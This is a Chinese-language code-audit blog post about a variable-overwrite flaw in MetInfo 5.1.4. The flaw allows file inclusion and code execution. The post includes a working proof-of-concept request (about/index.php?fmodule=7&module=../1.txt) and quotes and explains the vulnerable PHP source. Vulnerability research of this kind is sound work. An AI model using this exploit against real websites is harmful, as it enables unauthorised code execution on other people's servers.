【代码审计】米拓企业建站系统(MetInfo)

前言

MetInfo企业建站系统采用PHP+Mysql架构,V1.0版本于2009年发布,最新版本是V7.0.0,又称米拓企业建站系统。MetInfo是一款对SEO非常友好、支持多语言、功能全面、安全稳定、支持多终端展示并且支持可视化编辑、使用简单的企业建站软件。用户可以在不需要任何编程的基础上,通过简单的安装和可视化编辑设置就能够在互联网搭建独立的企业网站,能够极大的降低企业建站成本。

漏洞复现

远程命令执行

进入官网下载源码,安装完成,界面如下:

图片[1]-【代码审计】米拓企业建站系统(MetInfo)-安全小天地

运行poc:

在根目录新建文件:1.txt 内容:<?php phpinfo();?>

http://127.0.0.1/MetInfo5.1.4/about/index.php?fmodule=7&module=../1.txt
图片[2]-【代码审计】米拓企业建站系统(MetInfo)-安全小天地

漏洞审计

这个漏洞发生原理,主要在于变量覆盖,然后导致的文件包含,命令执行

对于变量覆盖,我们这里直接搜索:$$

admin\include\common.inc.php

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
	foreach($$_request as $_key => $_value) {
		$_key{0} != '_' && $$_key = daddslashes($_value);
	}
}

这一串代码主要的作用就是直接将输入的参数作为变量,eg:http://127.0.0.1?x=1 即执行的是_GET['x']=1

大概执行逻辑:

array('_COOKIE', '_POST', '_GET')  数组
foreach(array('_COOKIE', '_POST', '_GET') as $_request)   依次将数组中的内容作为$_request即:
$_request = _COOKIE _POST _GET

foreach($$_request as $_key => $_value) 依次将$$_request的值作为$_key,然后赋值给$_value 此时:
$_key = $_COOKIE $_POST $_GET
这样就简化了每次传入参数的代码书写

明白了这一段,我们接着往下跟,哪里有调用包含的函数,作者这里面的调用主要使用的函数是:require_once

搜索:require_once

这里有很多存在变量的文件,先看看about\index.php

<?php

$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
require_once $module;

这里继续看看../include/module.php

if($fmodule!=7){
	if($mdle==100)$mdle=3;
	if($mdle==101)$mdle=5;
	$module = $modulefname[$mdle][$mdtp];
	if($module==NULL){okinfo('../404.html');exit();}
	if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){
		if($fmodule==$mdle){
			$module = $modulefname[$mdle][$mdtp];
		}
		else{
			okinfo('../404.html');exit();
		}
	}
	else{
		if($list){
			okinfo('../404.html');exit();
		}
		else{
			$module = $modulefname[$mdle][$mdtp];
		}
	}
	if($mdle==8){
	if(!$id)$id=$class1;
	$module = '../feedback/index.php';
	}
}

可以发现,当$fmodule!=7时,函数跳出,此时$module != '../feedback/index.php';,然后我们自己给$module赋值,即可实现变量覆盖

此时即可实现任意文件包含

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容